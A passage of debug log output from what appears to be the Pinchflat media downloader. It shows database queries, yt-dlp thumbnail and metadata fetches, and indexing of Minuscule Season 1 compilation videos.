s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:33.391 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:33.392 [debug] QUERY OK source="media_items" db=0.3ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [97515] 00:48:33.392 [debug] Current batch of media processed. Will check again in 1000ms 00:48:33.974 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=cw7aFgAQz7A --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/102836/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/31/d9/31d9af23d6c76c69577915ce53d9d59bd4bd18ca0c63ee0d6146c17f8f48cf8f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:48:33.974 [debug] QUERY OK db=0.0ms idle=586.7ms begin [] 00:48:33.976 [debug] QUERY OK source="media_items" db=1.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "metadata_filepath" = ?, "thumbnail_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-14 07:48:27Z], "/downloads/Miniscule Season 1/2025-12-09 Narcissus 🪞 Minuscule | 65' Compilation/Narcissus 🪞 Minuscule | 65' Compilation [cw7aFgAQz7A].mp4", "/downloads/Miniscule Season 1/2025-12-09 Narcissus 🪞 Minuscule | 65' Compilation/Narcissus 🪞 Minuscule | 65' Compilation [cw7aFgAQz7A].info.json", "/downloads/Miniscule Season 1/2025-12-09 Narcissus 🪞 Minuscule | 65' Compilation/Narcissus 🪞 Minuscule | 65' Compilation [cw7aFgAQz7A]-thumb.jpg", ~U[2025-12-14 07:48:33Z], 102836] 00:48:33.978 [debug] QUERY OK source="media_metadata" db=1.0ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/102836/metadata.json.gz", "/config/metadata/media_items/102836/thumbnail.jpg", 102836, ~U[2025-12-14 07:48:33Z], ~U[2025-12-14 07:48:33Z]] 00:48:33.979 [debug] QUERY OK db=0.7ms commit [] 00:48:33.981 [debug] QUERY OK source="media_items" db=1.9ms idle=589.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [149997596, ~U[2025-12-14 07:48:33Z], 102836] 00:48:33.982 [info] User scripts lifecyle file either not present or is empty. Skipping. 00:48:33.982 [info] {"args":{"id":102836},"id":2632,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":37085129,"event":"job:stop","queue_time":28895987,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:48:34.393 [debug] Current batch of media processed. Will check again in 1000ms 00:48:35.394 [debug] Current batch of media processed. Will check again in 1000ms 00:48:36.395 [debug] Current batch of media processed. Will check again in 1000ms 00:48:37.396 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | On Your Marks, get set, go ! | S01E75\n00:04:48 | Insect High Velocity | S01E53\n00:09:27 | A Rolling Snail Gathers No Moss | S01E49\n00:14:03 | A Snail’s Dream | S01E11\n00:18:52 | Leech | S01E73\n00:23:17 | The Wild Bunch | S01E74\n00:27:56 | Horsefly | S01E21\n00:32:38 | The Dung Beetle Battle | S01E15\n00:37:23 | The Zzzzzz Patrol | S01E39\n00:42:02 | Ladybugs | S01E17\n00:46:41 | The Persevering One | S01E31\n00:51:23 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#race #competitor #slow #steady #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3390, "filename" => "/downloads/Miniscule Season 1/2025-09-16 On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation/On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation [uktE4GlcuNc].mkv", "id" => "uktE4GlcuNc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=uktE4GlcuNc", "playlist_index" => 24, "timestamp" => 1758002447, "title" => "On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation", "upload_date" => "20250916"} 00:48:37.397 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1751.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:37.398 [debug] QUERY OK source="sources" db=0.4ms idle=1752.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:37.399 [debug] QUERY OK source="media_items" db=1.0ms idle=1753.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-16 06:00:47Z], 4] 00:48:37.403 [debug] QUERY OK source="media_items" db=2.4ms idle=1242.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | On Your Marks, get set, go ! | S01E75\n00:04:48 | Insect High Velocity | S01E53\n00:09:27 | A Rolling Snail Gathers No Moss | S01E49\n00:14:03 | A Snail’s Dream | S01E11\n00:18:52 | Leech | S01E73\n00:23:17 | The Wild Bunch | S01E74\n00:27:56 | Horsefly | S01E21\n00:32:38 | The Dung Beetle Battle | S01E15\n00:37:23 | The Zzzzzz Patrol | S01E39\n00:42:02 | Ladybugs | S01E17\n00:46:41 | The Persevering One | S01E31\n00:51:23 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#race #competitor #slow #steady #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation", "522cb2a3-e06d-4fef-a8f6-8095f1b92a0f", "uktE4GlcuNc", 3390, false, 4, "https://www.youtube.com/watch?v=uktE4GlcuNc", 24, "/downloads/Miniscule Season 1/2025-09-16 On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation/On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation [uktE4GlcuNc].mkv", false, false, false, [], 1, ~U[2025-09-16 06:00:47Z], ~U[2025-12-14 07:48:37Z], ~U[2025-12-14 07:48:37Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | On Your Marks, get set, go ! | S01E75\n00:04:48 | Insect High Velocity | S01E53\n00:09:27 | A Rolling Snail Gathers No Moss | S01E49\n00:14:03 | A Snail’s Dream | S01E11\n00:18:52 | Leech | S01E73\n00:23:17 | The Wild Bunch | S01E74\n00:27:56 | Horsefly | S01E21\n00:32:38 | The Dung Beetle Battle | S01E15\n00:37:23 | The Zzzzzz Patrol | S01E39\n00:42:02 | Ladybugs | S01E17\n00:46:41 | The Persevering One | S01E31\n00:51:23 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#race #competitor #slow #steady #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation", "uktE4GlcuNc", 3390, false, 4, "https://www.youtube.com/watch?v=uktE4GlcuNc", "/downloads/Miniscule Season 1/2025-09-16 On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation/On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation [uktE4GlcuNc].mkv", false, ~U[2025-09-16 06:00:47Z]] 00:48:37.404 [debug] QUERY OK source="sources" db=0.3ms idle=243.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:37.404 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:37.405 [debug] QUERY OK source="media_items" db=0.4ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [97516] 00:48:37.405 [debug] Current batch of media processed. Will check again in 1000ms 00:48:38.407 [debug] Current batch of media processed. Will check again in 1000ms 00:48:39.408 [debug] Current batch of media processed. Will check again in 1000ms 00:48:40.409 [debug] Current batch of media processed. Will check again in 1000ms 00:48:41.410 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Bridge On The River Zzzzzzz | S01E18\n00:04:46 | Goofing Off | S01E37\n00:09:27 | The Shellproof Nut | S01E40\n00:14:16 | Ants | S01E02\n00:19:05 | Cicadas’ Song | S01E16\n00:23:54 | Zzzeplin | S01E22\n00:28:44 | Bananas | S01E69\n00:33:22 | The Quest For The Pink Lollipop | S01E32\n00:38:03 | The Escapist | S01E59\n00:42:33 | The Infernal Anthill | S01E35\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bridge #ants #crack #plane #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2843, "filename" => "/downloads/Miniscule Season 1/2025-09-02 The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation/The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation [W2Sm6PTWv_Y].mp4", "id" => "W2Sm6PTWv_Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=W2Sm6PTWv_Y", "playlist_index" => 25, "timestamp" => 1756792822, "title" => "The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation", "upload_date" => "20250902"} 00:48:41.411 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=765.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:41.411 [debug] QUERY OK source="sources" db=0.2ms idle=766.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:41.413 [debug] QUERY OK source="media_items" db=0.8ms idle=766.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-02 06:00:22Z], 4] 00:48:41.415 [debug] QUERY OK source="media_items" db=1.7ms idle=768.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Bridge On The River Zzzzzzz | S01E18\n00:04:46 | Goofing Off | S01E37\n00:09:27 | The Shellproof Nut | S01E40\n00:14:16 | Ants | S01E02\n00:19:05 | Cicadas’ Song | S01E16\n00:23:54 | Zzzeplin | S01E22\n00:28:44 | Bananas | S01E69\n00:33:22 | The Quest For The Pink Lollipop | S01E32\n00:38:03 | The Escapist | S01E59\n00:42:33 | The Infernal Anthill | S01E35\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bridge #ants #crack #plane #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation", "8b1832b7-ee99-4adf-8bf2-1150c7ca09b9", "W2Sm6PTWv_Y", 2843, false, 4, "https://www.youtube.com/watch?v=W2Sm6PTWv_Y", 25, "/downloads/Miniscule Season 1/2025-09-02 The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation/The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation [W2Sm6PTWv_Y].mp4", false, false, false, [], 1, ~U[2025-09-02 06:00:22Z], ~U[2025-12-14 07:48:41Z], ~U[2025-12-14 07:48:41Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Bridge On The River Zzzzzzz | S01E18\n00:04:46 | Goofing Off | S01E37\n00:09:27 | The Shellproof Nut | S01E40\n00:14:16 | Ants | S01E02\n00:19:05 | Cicadas’ Song | S01E16\n00:23:54 | Zzzeplin | S01E22\n00:28:44 | Bananas | S01E69\n00:33:22 | The Quest For The Pink Lollipop | S01E32\n00:38:03 | The Escapist | S01E59\n00:42:33 | The Infernal Anthill | S01E35\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bridge #ants #crack #plane #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation", "W2Sm6PTWv_Y", 2843, false, 4, "https://www.youtube.com/watch?v=W2Sm6PTWv_Y", "/downloads/Miniscule Season 1/2025-09-02 The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation/The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation [W2Sm6PTWv_Y].mp4", false, ~U[2025-09-02 06:00:22Z]] 00:48:41.416 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=247.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:41.416 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:41.417 [debug] QUERY OK source="media_items" db=0.4ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [96662] 00:48:41.417 [debug] Current batch of media processed. Will check again in 1000ms 00:48:42.419 [debug] Current batch of media processed. Will check again in 1000ms 00:48:43.420 [debug] Current batch of media processed. Will check again in 1000ms 00:48:44.421 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Ugly | S01E05\n00:04:47 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:09:35 | Caterpillars in Pairs | S01E06\n00:14:22 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:19:05 | Caterpillar Dream | S01E20\n00:23:55 | Narcissus | S01E47\n00:28:43 | Shell-Less | S01E19\n00:33:27 | Lettuce | S01E48\n00:38:13 | The Apple Of Concord | S01E36\n00:43:00 | The Caterpillar and the Brook | S01E08\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ugly #admiration #caterpillar #butterfly #ocean #sunset #beach #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2900, "filename" => "/downloads/Miniscule Season 1/2025-08-28 Ugly | Minuscule 🍃 60' Compilation/Ugly | Minuscule 🍃 60' Compilation [A3ltLruHCPQ].mkv", "id" => "A3ltLruHCPQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=A3ltLruHCPQ", "playlist_index" => 26, "timestamp" => 1756375212, "title" => "Ugly | Minuscule 🍃 60' Compilation", "upload_date" => "20250828"} 00:48:44.422 [debug] QUERY OK source="sources" db=0.3ms idle=1776.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:44.422 [debug] QUERY OK source="sources" db=0.2ms idle=1777.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:44.423 [debug] QUERY OK source="media_items" db=0.7ms idle=1777.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-28 10:00:12Z], 4] 00:48:44.426 [debug] QUERY OK source="media_items" db=1.4ms idle=1251.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: 